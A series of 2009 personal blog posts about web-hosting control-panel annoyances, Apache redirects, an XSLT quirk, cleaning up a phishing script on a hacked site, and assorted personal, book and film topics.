The following FAQ discusses how you can change httpd.conf on a per-site basis or globally such that the changes are not wiped out by XXXXXXXXXXX.
http://www.XXXXXXXXX/support/wpls/faqs/3.6.html
Wonderful! I thought. That's exactly what I need. I click on the link—
404
Oh, lovely I thought. I check the date on the answer I found, and
it's dated July 8th, 2002. I guess Insipid
doesn't
quite realize that cool URLs don't change.
So, I go to the Insipid
site and try searching on “FAQ”. The results of
that search were:
404
But I was at some subdomain of the Insipid
site. Okay, I went
to the main page, searched for “FAQ” and got much better results. Apparently, the
Insipid
subdomain uses some now dead search engine, while the
main Insipid
site uses Google. Ah, I see a link labeled
“Insipid
Forum—FAQ” and click that.
I'm right back at the main Insipid
page. Brilliant! Instead
of serving up a “Page Not Found” page, they simply redirect to the main
page. Wunderbar!
Poking around some more, it seems that the inspired leadership at
Insipid
has felt that there is no longer any need for any
forums at their site, and thus, it's gone. I keep getting the main
page.
So far, my searches have lead to pages that are either missing, or
selling support, or are simply nothing more than link farms—ah wait! It
seems Insipid
was bought out by the company Perpendicular.
Okay, try their site and look for “Insipid
FAQ”.
And nothing that will help me.
Oh wait, this seems promising:
Document Root Problem with Ensim
February 8, 2006
I am trying to point the default
/var/www/html
folder to a subfolder of the site. I am trying to acomplish this by doing the following:
# pico /etc/httpd/conf/virtual/siteXX
<VirtualHost XXX.XXX.XXX.XXX:80> ServerName XXX.XXX.XXX.XXX ServerAdmin me@mysite.com DocumentRoot /home/virtual/siteXX/fst/var/www/html/toanother/folder RewriteEngine on
# /etc/rc.d/init.d/httpd restart
After Apache restarts I am placed in the new folder structure, but the PHP code on the page is not being parsed.
I am at a loss as to what the problem may be. Any help is appreciated.
Okay … where are the answers? Answers? Um … answers? Nothing on that page. Go up one level, find the link to that page, and see “Replies: 0”.
Well XXXX! In three years no one has answered this person's cry for help!
On a lark, I decided to try the following:
GenericRootPrompt# ls -l total 20 total 20 drwxr-xr-x 2 admin229 admin229 4096 May 27 2008 cgi-bin drwxr-xr-x 9 admin229 admin229 4096 Mar 25 01:06 html drwxr-xr-x 2 root root 4096 May 27 2008 icons drwxr-xr-x 2 admin229 admin229 4096 May 27 2008 interpreters drwxr-xr-x 2 admin229 admin229 4096 May 27 2008 usage GenericRootPrompt# mv html html.orig GenericGootPrompt# ln -s html.orig/app/webroot/ html GenericRootPrmopt# ls -l total 20 drwxr-xr-x 2 admin229 admin229 4096 May 27 2008 cgi-bin lrwxrwxrwx 1 root root 22 Mar 27 16:19 html -> html.orig/app/webroot/ drwxr-xr-x 9 admin229 admin229 4096 Mar 25 01:06 html.orig drwxr-xr-x 2 root root 4096 May 27 2008 icons drwxr-xr-x 2 admin229 admin229 4096 May 27 2008 interpreters drwxr-xr-x 2 admin229 admin229 4096 May 27 2008 usage GenericRootPrompt#
It was a nice try, but it didn't work.
Can somebody remind me why we're using control panels?
It's the simple things that are impossible to do
I briefly mentioned in my last post something about <shudder> control panels and redirects requiring rocket science. It's true.
Several months ago a client wanted to improve their search engine rankings with Google. Their current configuration at the time was:
<VirtualHost 10.10.10.10:80> ServerName www.example.com ServerAlias example.com ... </VirtualHost>
Their site reponds to both www.example.net
and
example.net
, and while we can see they're the same
site, technically speaking, search engines treat them as two
separate sites. In fact, they pretty much have to, as they're, again,
technically, under two different names and in theory, there could be a
different site under each name.
Now the problem—while Google can probably figure this out, there's no
indication to Google as to which “site” is the proper location, so it
calculates the page rank for example.net
separately from
www.example.net
, thus diluting the pagerank for the entire
site.
There is a way of telling Google which site is considered “the site” and it involves redirecting requests at “the lesser site” to “the site.” The easiest way of doing this, using Apache, is:
<VirtualHost 10.10.10.10:80> ServerName example.com Redirect permanent http://www.example.com/ </VirtualHost> <VirtualHost 10.10.10.10:80> ServerName www.example.com ... </VirtualHost>
And now every request to a page at example.com
will
be redirected to “the site” at www.example.com
. Simple,
trivial, and therefore, impossible to do via a control panel!
When I tried that very method on the webserver (which has a <shudder> control panel on it), I broke the entire webserver!
And sadly, there is no option to set this up under the
<shudder> control panel. Sure, you can set an alias for the
site, but that gets slapped under the ServerAlias
directive,
which is not what the client wanted (as that's what the client had currently
and wanted changed).
We got it working, but it involves a secondary webserver (without a XXXXXXXXX control panel on it) and changes to DNS files. Here's how it works.
The client tells us which address is “the site” and which should be
redirected. For our example, we're redirecting example.com
to
www.example.com
. We then edit the DNS file for their domain and set the IP address for example.net
to our non-control panel webserver.
Then, on our non-control panel webserver, we add:
<VirtualHost 10.10.10.10:80> ServerName example.com Redirect permanent http://www.example.com/ </VirtualHost>
to the configuration. It works, and it's only slightly Rube Goldbergesque.
And yes, there's a solution that could be done on the server
with the <shudder> control panel, but that involves mucking
with mod_rewrite
(and the horrors involved in debugging
that) and .htaccess
files, so it's a toss-up which method
is more Rube Goldbergesque.
Saturday, March 28, 2009
“I take out your units before your units take out my units before they take out your units.”
Achron is the world's first meta-time strategy game, a real-time strategy game where players and units can jump to and play at different times simultaneously and independently.
Over a year ago I mused about making a computer game involving time travel, but it seems, a group of programmers have gone ahead and made a game where pieces can travel in time, and from the videos, it looks like they've done a great job with the user interface.
Q. Dude, paradoxes?! You know, grandfather paradox, units fighting side by side?
A. Paradoxes can exist, but since the window of time is limited (e.g., an 8 minute window) all events eventually fall off. A paradox will oscillate between its different states until one of the states reaches the edge of the time window, leaving the players locked into one of the two states. Example: in the case of the grandfather paradox (where you use a factory to build a tank, have the tank time travel to before it was built, and then use it to destroy the factory) you will play with the paradox until it 'falls off' the time window, at which point there is a 50/50 chance of either the tank lives and the factory is destroyed, or the factory remains and the tank was never created. All paradoxes are nicely resolved with time.
Q. How stable/buggy is this game? I can't imagine a game engine this complex without bugs!
A. Very stable. We have taken QA extremely seriously because of how complex time travel is, and we have been testing multiplayer games for 4 years.
Q. Is it true that I can keep sending units back in time to have them fight along side themselves and duplicate an entire army?
A. Yes you can, but not without consequences. It costs chronoenergy to command units from the past to travel further into the past, and obviously you use more chronoenergy to control more units in the past. Also you are using up your playing time to manage this instead of building units or controlling your armies. And finally, if the original 'parent' units are damaged, the time traveled version will wind up being damaged and if the original units are destroyed and don't travel back in time, you wind up undoing the entire cycle.
Q. My head is exploding already. Are you sure this is easy?
A. Yes, though grandfather paradoxes are the most complicated aspect of the game, they don't tend to happen much in actual gameplay. The rest is super quick to learn. It's like learning to use a DVR control to rewatch a tv show or using your DVD control to jump around chapters in a movie - once you start using time travel it's really simple, but if you've never picked up a remote controller before, those play and 'next-chapter' buttons look scary. We've been play-testing for 4 years and have learned how to make this game accessible, taking people who never played an RTS before and have them effectively using time travel 5 minutes into the game. We do this by unveiling time travel gradually to the player, so you are not fully thrust into it right away, but can learn to play it one step at a time.
Cool … just way cool …
Wednesday, April 01, 2009
The makers of dinosaurs finally becomes a dinosaur.
I'd like to think that the following is an April Fools Joke, but given the recent history of Silicon Graphics, this is probably true:
Today, a legendary Silicon Valley company goes out with a fizzle.
Rackable Systems (RACK) announced that it will buy most of the assets of Silicon Graphics (SGIC), the long-time provider of high-performance computers, for $25 million in cash and the assumption of certain liabilities as part of a pre-packaged Chapter 11 filing by Silicon Graphics. the deal is expected to close within 60 days.
And with Silicon Graphic's current stock price of 18¢ (no, not $18, 18¢), such a move would put the company out if its misery.
Shame really. I remember using their computers in the 90s. In fact, I had near exclusive use of one when I worked at FAU and it was such a sweet machine. Except for having to continually replace the fan unit. Oh, and the motherboard at least once. And the graphics board. And the monitor at the end had a decidedly green tinge to it. And that when new, it cost $35,000.00 but after four years might have been worth $1,500 (even worse than your typical car).
Hmm … when put in those terms …
(Oh, and the title? It's in reference to their little commercial from the early 90s)
Some notes on a non-April Fools joke (or, Metaposts are bad)
For the past several years, I've radically changed the style sheets for The Boston Diaries on this day. It was the easiest thing I could think of to mess with my reader's minds on this day (and if you are using Firefox, you can view them by, a) coming directly to The Boston Diaries and b) selecting “View → Page Style” and selecting a year).
This year, I did no such thing. The reason was I couldn't think of a crazy theme (oh, I could have reversed all the text with a single change, for instance, but eh … ). Oh, a few months ago I did have an idea, but I neglected to write anything down, and now for the life of me I can't recall what it was.
But I suspect that the majority of my readership read me elsewhere, thanks to my syndication feeds and thus wouldn't see any changes. I suppose I could do some silly post where I say something outrageous but plausible (you know, something like “President Obama finally figured out a way to get tax cheats to pay their taxes—by nominating them for a cabinet post”) but a) I would have to think of something outrageous but plausible, and I didn't, and b) I really do think that President Obama finally figured out a way to get tax cheats to pay their taxes—by nominating them for a cabinet post (again, another example of real life trumping satire).
These guys really know how to do it
Besides, anything I do for April Fools Day will pale in comparison with these guys:
At least … I hope it's a joke …
MTV's The Real World: “This is the end my only friend, the end.”
About time, too!
MTV's “The Real World” and this week's episode: “This is the end my only friend, the end.”
Tempers flair as first the boys get into a barroom brawl at a local restaurant. Then they flair even more as the girls try one last prank on the boys and attempt to pin it on JD. They're found out and everbody hates everybody. Then, one by one, they're voted off the island out of the house (and there was much wailing and knashing of teeth), with Katelynn as the last person standing.
The end.
And thus ends all the posts about MTV's “The Real World.”
MTV's The Real World: “One Last Word”
Okay, I lied. This is the last post about MTV's “The Real World” (Ha! This can be my April Fools Joke! … okay, maybe not).
There was a special “reunion” episode after the last episode of “The Real World” where they got all eight members (including Iraq-bound Ryan) together and it's painfully clear that MTV picked a volatile bunch of people (I'm really surprised a fist-fight didn't break out on set).
And we also learn what the cast has been up to since filming stopped in late November/early December:
- Sarah
- Back in San Fransicso with her “love-forevah” boyfriend, and hardly recognized on the street at all.
- JD
- Back in Miami training dolphins and swimming with his fans.
- Katelynn
- Back in Montana living with her boyfriend and working at the local college in IT, with the occasional speaking engagement.
- Scott
- Living in New York City persuing his acting and modelling career, and apparently making a decent living at it to help afford a $3,000/month apartment (ostensibly with roommates, more on that below).
- Devyn
- Living in New York City and sharing an apartment with Scott, and persuing her career in singing and high fasion.
- Chet
- It was hard to determine from the show, but I think he's living in the New York City area, either for MTV or some other company that's allowing him to do interviews.
- Baya
- Living in New York City sharing an apartment with Scott (and Devyn) and persuing her career as a DJ.
- Ryan
- Just about to leave for Iraq. He and Chet are “Best Friends Forevah!” (not only that, but he met Chet's parents out in Utah, so that makes them hetero-life partners). Also not terribly surprising (and I called this in the second episode), he and Baya are now officially “an item.” I guess his former girlfriend Belle dumped him when she found out he was headed back to Iraq.
And with that, we end thirteen grueling weeks of angst.
And no, I'm not watching this show again (well, unless I know a cast member personally).
Thursday, April 09, 2009
Convenience vs. Correctness
I'm not sure how I feel about this.
I've been wanting to update my website for some time now, but the latest version of
xsltproc
hates me. Or rather, it hates the XSL files that worked fine
under an earlier version of the code.
It took a few hours of debugging (XSL makes COBOL look terse) but I figured out the issues, and most of them relate to attributes. Or rather, the lack of attributes when testing them.
I had a bit of code:
<xsl:if test="count($objects[@listindex != 'no'])"> ... </xsl:if>
I was passing in a bunch of entities (think DOM objects, or if that's too obscure, things similar to HTML tags):
<section id="News" directory="news/"> ... </section> <section id="People" directory="people/"> ... </section> <section id="Software" directory="software/" pubdate="yes"> ... </section> <section id="Projects" directory="projects/"> ... </section> <section id="Merchandise" location=" ... "> ... </section> <section id="Reference" directory="refs/"> ... </section> <section listindex="no" id="Errors" directory="errors/"> .. </section>
(the neat thing about XML—you get to create your own tags) and as you
can see, there are several sections, with one I don't really care to list,
thus the listindex
attribute. It avoids creating links to
those sections I don't care about.
The old version of xsltproc
would attempt to compare the
attribute listindex
index against the value “no”, and if the
attribute was missing, then it just assumed the attribute was there, but the
value was something other than “no”. The function count()
counts the number of nodes that match, and would return “6”, because there
were six entities where the attribute listindex
was not equal
to “no” (despite the fact that the attribute listindex
didn't
exist in most cases).
The newer version would only check those entities that had the
listindex
attribute, and here, the function
count()
returned “0”, because of all the entities that
had the listindex
attribute, none had a value other
than “no”.
And that's why I'm conflicted on this.
The earlier interpretation makes things convenient. I want to ignore
entities that have listindex='no'
and include everything else.
The number of entities that I want to ignore is small, so it is easier to just
add this when I want to ignore something than to add
listindex='yes'
to everything.
On the other hand, I prefer strict type checking and having everything
explicitly spelled out. Nothing hidden, no surprises. So I can see that
I'm asking for all entities that have the listindex
attribute,
and only those entities that have the listindex
attribute.
And on the gripping hand, having to check the existence of an attribute before checking it's value every single time is making a verbose language even more verbose and seriously changes the logic in the code (and I'm only half done, sigh).
Monday, April 13, 2009
Let's just send in some Amazonian warriors to get to the bottom of all this
It seems like Amazon stepped into a public relations disaster and the Internet has just exploded.
I'm concerned about this, since I make some money off of Amazon and I don't want to think I'm frightening away readers because of my advertising Amazon (although I suspect most of my readers read me via my ATOM or RSS feed, which makes the advertising moot). Oh, I don't make that much money, but I made more money using Amazon than I ever did using Google's Ad Sense program.
I would like to think that this kerfluffle was an honest mistake on Amazon's part, or perhaps a coordinated attack against Amazon or an interesting hack of the Amazon website (or was it just a hack?).
Heck, it could have been a disgruntled employee for all we know.
Me? I'll follow the “never attribute to malice that which can be adequately explained by stupidity” advice for now (even if it was a malicious manoeuvre by Amazon, they're gotten so much flack for this I think they've learned their lesson).
Wednesday, April 15, 2009
Funny, I didn't think the IRS had offices in Russia …
Ah, the Ides of April, otherwise known as Tax Day whereby millions of Americans madly rush to get their tax returns postmarked by 11:59 pm.
And wouldn't you know it, one of the sites we host got hacked and a PHP script installed that would redirect an unsuspecting person to a phishing site, which claims to be the IRS where you can fill in a form to get your government refund.
Lovely.
I could have deleted the PHP redirection script, but there was a chance the crackers would just re-upload the script before I got a chance to find how they got in. The easiest thing to do therefore, was to change ownership of the script to root
(the script was owned by the apache
user, which leads me to believe that it was an errant PHP script to blame) and the permissions so no one could read the file (in hindsight, it might have been interesting to change the script so it didn't redirect, but basically told the user they fell for a phishing attempt; maybe next time).
That way, the script was disabled, but the crackers wouldn't be able to overwrite it. My feeling was that the crackers in question were giving out a particular link in some spam so they can't just change the location of the script, so they would just have to give up on this server.
I then spent some time figuring out how the PHP script got in there in the first place. It seems that the site in question has a rather popular PHP application that is not only sizeable (around 60,000 lines of code) but one that hasn't been updated in quite a while. Worse, the administration portion of this application was not protected by a password.
Yeah.
The perpetrators in question not only uploaded the redirection PHP script, but another PHP script that allows them to upload other files, list and kill processes, run backdoors and other crackish stuff. That particular script is from a Russian cracking site (because there were links to said site all over that PHP script). And the redirection PHP script would redirect people to a Russian site. And they didn't even bother to try to hide the URL. Sigh.
Saturday, April 18, 2009
A Day At The Zoo
Today Bunny and I headed off to the Palm Beach Zoo at Dreher Park. Going to the zoo was something Bunny has wanted to do for quite some time, and the Palm Beach Zoo was a bit closer than the Miami Metro Zoo.
We were both underwhelmed.
It was smaller than I expected, and some of the animals (especially the very rare and highly dangerous Procyon lotor elucus or the Jackie Masonesque Myrmecophaga tridactyla) were obviously stressed, pacing back and forth within their enclosures. Quite sad.
Bunny did, however, find the young feral Homo sapiens exhibit near the entrance to the park amusing, what with the screaming and banging on inflatable bongo drums.
Tuesday, April 21, 2009
Tales from the Dead Letter Office
For our anniversary (which was on Saturday, Bunny just handed me the Cowboy Bebop CD Box Limited Edition.
Aside from the four CDs of fantastic jazz music from Cowboy Bebop (Bunny was amazed that a cartoon could have such great music), there's a story behind this package (and why it was late).
She ordered it earlier in the week and had it shipped overnight. The envelope arrived at Chez Boca on Saturday. But the actual CD did not. The envelope was open along one side, and a scribbled note on it said, “Arrived in this condition in Boca Raton.”
On Monday, she went to the West Palm Beach Post Office if it might still be there, as that office handles incoming mail for Palm Beach County. She was then informed that they did not handle that mail as it was overnight—that is handled by the Orlando Post Office.
Later that evening, Bunny called the Orlando Post Office and described what happened. They checked, and indeed, they had the CD in their possession, which they promptly sent out. It arrived today.
As best as anyone can tell, some automated processing machine may have ripped it open, or perhaps the envelope got wet and ripped open.
In any case, I now have several hours worth of cool jazz to listen to.
Update Friday, May 8th, 2009
by Bunny
It was actually priority mail (which arrives in 2-3 days), all of which is processed in Orlando (for South Florida) and then shipped directly to the receiving post office.
I'd like to extend kudos to everyone involved in the search for the missing CDs. The WPB postal worker was extremely helpful and courteous, even locating the number and calling Orlando himself. When he found out I needed to contact the evening crew, he gave me the number and the name to speak to about the item. When I called, the person was already familiar with my problem, only needed the name of the CD and a callback number.
Sure enough, half an hour later, she called to tell me she had found the package, still factory-sealed and appearing intact, in something they call a “NIXY office.” When they can't identify the destination of loose items, they send them to this office for a few days, hoping someone will claim them, after which, they are forwarded to D.C. to the dead letter office where they are destroyed. All I had to do was provide an address and the item arrived the next day via Express Mail. All the while, the postal personnel could not have been nicer or more accommodating. I was very impressed. Come to think of it, I should write them a thank you note. Never hurts to have a positive letter in your personnel jacket.
Also, the shipper was most helpful. First of all, she had made a special effort to get the CDs in the mail promptly so they would arrive in time for Saturday. When I emailed her that the envelope arrived empty, she promised to inquire at her local post office in Cincinnati on Monday. She was delighted to hear that I'd located the missing package, since her branch office didn't have it.
In this frenetic day and age, when customer service often seems a thing of the past, I was both enlightened and refreshed by this experience. Okay, the music was late. But we found it. Life is good.
Thursday, May 07, 2009
Sorting through the mess that is my filesystem
A few weeks ago in The Weekly Meeting, Smirk made an offhand comment about the lack of organization in his email. He doesn't bother, finding it easier to let the computer search through his copious amounts of email for email he's interested in (and once a year, the accumated email gets dumped into the archives). What struck me about the comment is the search bit. Google made a business around searching. First web pages, then email, then the Google Toolbar, for searching your files locally.
That was an interesting concept. So I hacked together some code to fully index all my files. Not the contents, no, that's a bit too much to handle. No, what I indexed was information about the files—the names, sizes, timestamps, file types, creation time, all the bits about a file.
It's amazing what I've found. I have 338,516 files (and that's not counting the stuff making up the operating system—that's personal files I'm talking about). The mean file size is 104,654 bytes, but the median size is 3,864, which to me indicates I have some huge files skewing the average. Said 338,516 files are stored in 26,750 directories (or “folders” for you Window users out there). 55% of the files (215,000) are text files of some sort; 86,100 are images. And all these files and directories consume 45G of disk space.
Okay, so maybe it's only interesting to me.
But I showed the program to Smirk and P today at The Weekly Meeting. Smirk saw the value in the program (even as clunky as it stands right now) and about an hour after the meeting, called me with a commerial application in mind, based on this idea.
Not bad for something I hacked together on a whim.
Movies I'd like to see
I would love to see this movie. Muppets, heists, what's not to like?
Friday, May 08, 2009
Angels & Demons
I've finished my third Dan Brown novel—Angels & Demons, and, much like the other books, I found this one with short chapters, predictable plotting, bad writing and utterly gripping.
Sigh.
The plot involves the Illuminati stealing a canister of antimatter (who's magnetic containment field will fail in 24 hours, thus releasing the antimatter) from CERN and planting it somewhere within the Vatican City during a Papal conclave, and our hero, Robert Langdon, is brought in because this involves religious and occultish symbology and only he is smart enough to follow century old clues to locate the inner sanctum of the Illuminati and prevent the total destruction of the Catholic Church.
Fortunately, with the writing style so simple, it was a fast read, so I didn't waste too much time with this book.
One of the reasons I dislike Dan Brown so much is that his writing just infuriates me. For example:
“Friction,” Kohler said. “Decreases her aerodyamics so the fan can lift her.” He started down the corridor again. “One square yard of drag will slow a falling body almost twenty percent.”
Langdon nodded blankly.
He never suspected that later that night, in a country hundreds of miles away, the information would save his life.
Page 29
Does Dan Brown have to spell everything out? (Given that I was able to predict nearly everything that would happen, my guess is “yes”) Just the fact that such a wierd piece of information is given should be enough to realize it will be used. We don't have to be hit over the head with it.
Another aspect I didn't like in this book—it stretched my credibility too thin. Okay, a specialized magnetic canister filled with a few grams of antimatter stolen from CERN to be used as a bomb? Okay, I can buy that. The fact that the head of CERN didn't even realize antimatter was being created, much less stored, because the scientist doing it was keeping it top-secret?
I couldn't buy the whole “only the Illuminati could create such ambigrams” schtick, while clearly, someone could because I'm seeing it in the book.
And once I got to CERN's X-33 airplane used to ferry Langdon around, I just about threw the book across the room. Not only would you not take off and land at any old airport, but I seriously doubt a non-military government organization would even have such a craft.
It's not to say the book was completely worthless—the subplot of a scientist trying to reconcile science and religion was interesting. So too, was the backstory of the recently deceased Pope, which just alone would make a compelling story, but here was mentioned in passing (and that brings up another aspect I couldn't wrap my brain around; Dan Brown has the recently deceased Pope serving for twelve years. Was this supposed to be Pope John Paul II? In that case, the story was set in 1990, which doesn't make sense given the use of the Internet during the story, or was it supposed to be the next pope, which would put the story somewhere in the 2010s or 2020s, but that doesn't seem to fit either. In any case, that little detail just bugged me).
This book (and the others I've read) appears to be the literary equivilent of a movie—short chapters (an average of five pages) that end with some type of cliffhanger, and there's nothing necessarily wrong with that, except that if I want to watch a movie, I'd watch a movie (and I'm looking forward to watching this movie actually), not read it.
Saturday, May 09, 2009
“Star Trek”
Bunny and I went to see “Star Trek,” the “reboot” of the Star Trek universe with the characters from The Original Series but played by younger actors.
Overall, it was a wonderful movie that (I feel), successfully cast aside the existing continuity of the Start Trek universe so we can bring back the characters we all love. It was spooky to watch Karl Urban's Dr. Leonard ‘Bones’ McCoy that was so close to DeForest Kelly's portrayal that it felt like I was watching DeForest Kelly's McCoy. Nice job there.
Zachary Quinto as Spock was also well done, but it wasn't quite the same take as Leonard Nimoy's Spock (although, never having seen “Heros,” I can't say one way or the other how much of Quinto's Spock is like his “Heros” character Sylar, which is one complaint I've seen of his performance). I also liked how the different circumstances that brought Spock and Kirk together are leading to a different dynamic between them than in The Original Series. It'll be interesting to see how it turns out.
I think they did a great job of hiring Simon Pegg as Scotty—it was like watching a younger James Doohan do a more comedic take on Scotty. I could, however, do without his smaller sidekick.
Chris Pine as James Tiberius Kirk was good, but different from William Shatner. Sure, he's a womanizer, brash, head strong and always willing to cheat death, but he's not quite as hammy as Shatner; Pine is a bit more … restrained. And less … awkward … pauses than … Shatner.
I'm really happy to see Lt. Uhura not only get a first name (it's Nyota) but also see her character being expanded. Zoë Saldaña does a good job with the role, but if you are expecting someone who looks similar to Nichelle Nichols, don't.
And then there's Chekov, played by Anton Yelchin who's only passing resemblance to Walter Koenig is a thick Russian accent. It was such a departure from the original character that I'm still pondering if I like this incarnation of Chekov. It's different. It's more Wesley Crusher, but not as annoying.
Now, overall, I loved the film (so did Bunny), but I do have a few gripes about the film.
The first one, the frenetic cinematography—the rapid cutting during action sequences that 1) makes it hard to follow exactly what is going on, and 2)is all too common in today's films. I'd be surprised if there was any shot longer than two seconds in any of the action sequences. Then again, I may not be “hip” to modern action film asthetics, but it still bugged me.
My second gripe (warning—very small spoiler): Kirk is wandering alone on a frozen planet when out of nowhere one creature is running towards him. As Kirk is running away, that chase is interrupted by yet a larger creature that start chasing him until he safely gets away in a cave. This bugged me as this whole sequence just seems gratuitous—like the screen writers said, “You know, it's been ten minutes since the last action sequence, we need a large spider!” It doesn't propel the plot, doesn't advance characterization, it does nothing but waste about two minutes of screen time and could have easily been cut without affecting the film one bit. We know Kirk won't get killed. It's just fake peril (and from what I'm reading, it appears that the script was affected by the Writers' Strike from a few years ago, so it may not have been tightened up properly, so this might explain this rather bad scene).
My third gripe (warning—very small spoiler): Kirk and Scotty beam aboard the Enterprise (and I must say, I love that new beaming effect) but due to a miscalculation, Scotty ends up in a very large water pipe and is being sucked towards certain doom, but of course, Kirk is able to save Scotty. Again, it's a scene that doesn't serve any purpose other than to mark a ten minute segment (whoever wrote that scene should die, in my opinion).
And that's it. The other flaws in the film (and there are some) do serve to propel the plot along (however clumsy, and basically, you'll know them when you see them) so I have less problems with them. And I do think the film is worth seeing overall.
Sunday, May 10, 2009
A hot time in Indiantown
Bunny and I arrived in Indiantown to visit her mom for Mother's Day. We were there for a few minutes when Bunny realized she needed some potting soil for some plants she got for her mom. Both of us headed out to get some, and while driving around, we saw two plumes of smoke to the west (the whole town is oriented along a northwest-southeast axis). We decided to check it out, and found firefighters battling a brush fire just west of SR-710. The whole area has been without rain for an extended period of time so the vegetation is dry.
But still, it was on the west side of SR-710, Bunny's mom is on the east side, so we didn't think we'd have much to worry about.
Later than evening, we heard helicopters flying around, so Bunny went outside to see what was up, then called her mom and me outside. Sure enough, the horizon was bright orange and thick black plumes of smoke were rising up to blanket the sky. Only it wasn't the western horizon that was glowing, but the eastern!
The brush fire had crossed SR-710 and appeared to be very close to the development Bunny's mom lives in. We all piled into Bunny's car and drove to the eastern end of the development, but were blocked by police and firemen using that area to stage a firefight to protect the houses along the eastern edge of the development.
And yes, the fire was close enough to see behind the houses.
Scary stuff.
But by 11:30 pm, the authorities stated the fire was no longer a threat to the development (although they only had half of it contained), so Bunny and I felt it safe to leave (and unlike what I stated on MySpaceFaceBook, we weren't evaculated via a CH-47 Chinook).
Tuesday, May 12, 2009
You news guys have all those flashy computer graphic logos flying around, how hard is it to throw up a map? Sheesh!'
All I have to say is that network news sucks. Bunny and I are following the Indianwood brush fires and they're not giving enough details for our liking. Sure, there are plenty of horrific pictures of burning trees and confidently coiffed reporters describing the devastation, but they aren't giving the locations of any of the remaining fires. I'm sitting, laptop in hand, looking at the satellite pictures from Google Maps trying to match the aerial images being beamed lived on TV so Bunny and I can see exactly where the fires are.
Sad.
Upate Wednesday, May 13th, 2009
Bunny's mom is fine. Only one home in her development was damaged and the fires are, from my understanding, mostly contained.
Wednesday, May 13, 2009
The good news is, I've got the source code! The bad news is, I'm debugging someone else's PHP application!
I finally got cacti
installed on one of our
client's firewalls (we're now managing their network, and they've been
having “issues” with their network). It only required
installing four packages from source, and troubleshooting pkg-config
(hmm, it
seems that on that particular system pkg-config
, which the
configure
script for rrdtool
requires, doesn't
bother looking in /usr/local
for stuff by default; I suppose I
could file a bug with the OS
vendor, but the answer from them would be “OH MY GOD, MAGNUM!
YOU'RE USING WHAT VERSION? THAT'S FROM BEFORE THE DINOSAURS ROAMED THE
EARTH! DON'T EVEN LOOK AT US UNTIL YOU'VE INSTALLED THE LATEST UNTESTED
VERSION OF OUR DISTRIBUTION AND EVEN THEN, YOU'LL BE TWENTY MINUTES OBSOLETE
SO WE STILL WON'T TALK TO YOU!” because we're using a
distribution that's what? A year old? Two? Well before the Earth roamed
the Earth, so to speak <eyeroll/>
—not that I'm
bitter or anything) only to find cacti
not working.
Well, it did work. cacti
was gathering statistics, it just
wasn't bothering to graph the results, which is rather important.
Great! I get to debug 71,000 lines of PHP! O frabjous day!
Callooh! Callay! (I think I'm bitter because I had to write a C program to
determine if the error was coming from PHP or
rrdtool
—sheesh!)
But I found the issue (an errant ==
instead of
!=
), and now it's drawing pretty graphs and we get to show the
client that the network is working smoothly, it's Microshaftsoft
Windows that's the problem …
Thursday, May 14, 2009
I can't believe I just found these in the middle of the parking lot
The Weekly Meeting™ takes place at a Panera Bread café near The Mall at Wellington Green and because there's a nice farmer's market in the neighborhood (well, given the distance I drive to get there, it's in the neighborhood) Bunny drove (since she wanted to shop at the farmer's market).
After the meeting as we're pulling out of the parking space, I notice two piles of books just sitting there in the parking lot. They're right in the middle of two facing parking spots, just inside the parking curbs (and here I wish I had my camera so I could have taken a picture). Bunny then notices that I noticed them, and stops the vehicle.
We were at a loss for what to do. Who leaves a pile of books in the middle of a parking lot? And it's not like they were piled at the end of a spot, because, say, someone was trying to rearrange the trunk before putting the books in—no, they were where the front of the car would be. And there're no bags or recipts or anything around or in the books to go on.
Very odd.
I decide to get out and take a look. A definite theme going on, what with books about the American Revolutionary War and the Constitution. There's even Tocqueville's Democracy in America. We look through the books, and while they all (with the exception of two) look new, there're no identifying marks about who might own them or how they came to be in the middle of a parking lot in front of a Panera Bread and a Barnes & Noble.
Bunny checked with the manager of the Barnes & Noble, but not only had no one bought such a large number of books today, they don't even carry some of those books in stock.
Well then …
I guess we now have a baker's dozen books on American history, worth about $350.00, going by the prices listed on the books:
- The Constitional Convention: A Narrative History from the Notes of James Madison
- Decision In Philadelphia: The Constitutional Convention of 1787
- Miracle at Philadelphia: The Story of the Constitutional Convention May—September 1787
- Reflections on Freedom of Speech and the First Amendment
- Freedom for the Thought That We Hate: A Biography of the First Amendment
- Almost A Miracle: The American Victory in the War of Independence
- 1776
- Washington's Secret War: The Hidden History of Valley Forge
- Democracy in America
- What Kind of Nation: Thomas Jefferson, John Marshall, and the Epic Struggle to Create a United States
- Blood and Thunder: An Epic of the American West
- A Brilliant Solution: Inventing the American
- Revolutionary Characters: What Made the Founders Different
Friday, May 15, 2009
An explaination for a frightening minor epiphany on computer user interfaces
Two years ago I had an epiphany about computer user interfaces and at the time, I said I was still poindering the implications of that.
Then, a few days ago, Dan Lyke had related epiphany to the one I had a two years ago. One of the comments to Dan struck a chord with me:
But most users don't want to develop a language with their computer.
I think I may expand on this somewhere else, but the short version: To develop a useful and efficient linguistic shorthand takes a long-term relationship. My wife and I can communicate vast things in few words, but we've been together a long time. Emacs and I have been together even longer than that. I don't think most users care to enter that kind of commitment.
Flut terby™! : Point and grunt 2009-05-13 16:54:17.759918+00
And then there's today (let us not talk about today, okay?)
But the events of today, plus Dan's observation (and the comment on it) plus my earlier observation lead to yet another epiphany: While I may be willing to develop a language to use my computer, I do not want to develop a separate language for each damn computer I use!
It seems that every year or two, how we “talk” to our computers radically changes and everything you know you pretty much have to toss out the metaphorical window and start over from square one, do not pass Go, do not collect $200.00.
I also have to wonder, if it does indeed take 10,000 hours to become an expert (or five years at 40 hours a week), how anyone in the computer industry can become an expert, when the technology changes faster than that. How?
Monday, May 18, 2009
Time really was slipping into the future
That's odd, I thought. How did my clock get an hour ahead? Ah well, I'll reset it. I took the clock down off the wall, ran it back an hour only to notice that the hour hand was physically shifted so that it was now half an hour ahead (and thus, at the angle I glanced at it, could be mistaken for being a full hour ahead—it being a 24 hour clock and all).
Alright, I thought, it can't be that difficult to fix. That, along with “hey Bubba! Watch this,” should be warning enough not to proceed any futher, but no, how hard could it be to wrench an hourhand back half an hour?
My approach was perhaps not the best one. I thought I could go in from the back and ratchet back the appropriate gear, and to do that, I needed to remove the battery powered drive mechanism, which was just held in place by a few tabs.
The second I pried the drive mechanism out, and it was a bit harder than I expected, I heard the ting-ting-tinglings of small metal bits falling out and hitting a plastic surface. I also noticed a white gear was now rattling loose in the area formerly occupied by the drive mechanism.
Lovely.
I pull out the white gear and a small metal shaft, then flipped the clock over to see the second and minute hands sliding around the face of the clock, freed from central drive shaft.
Sigh.
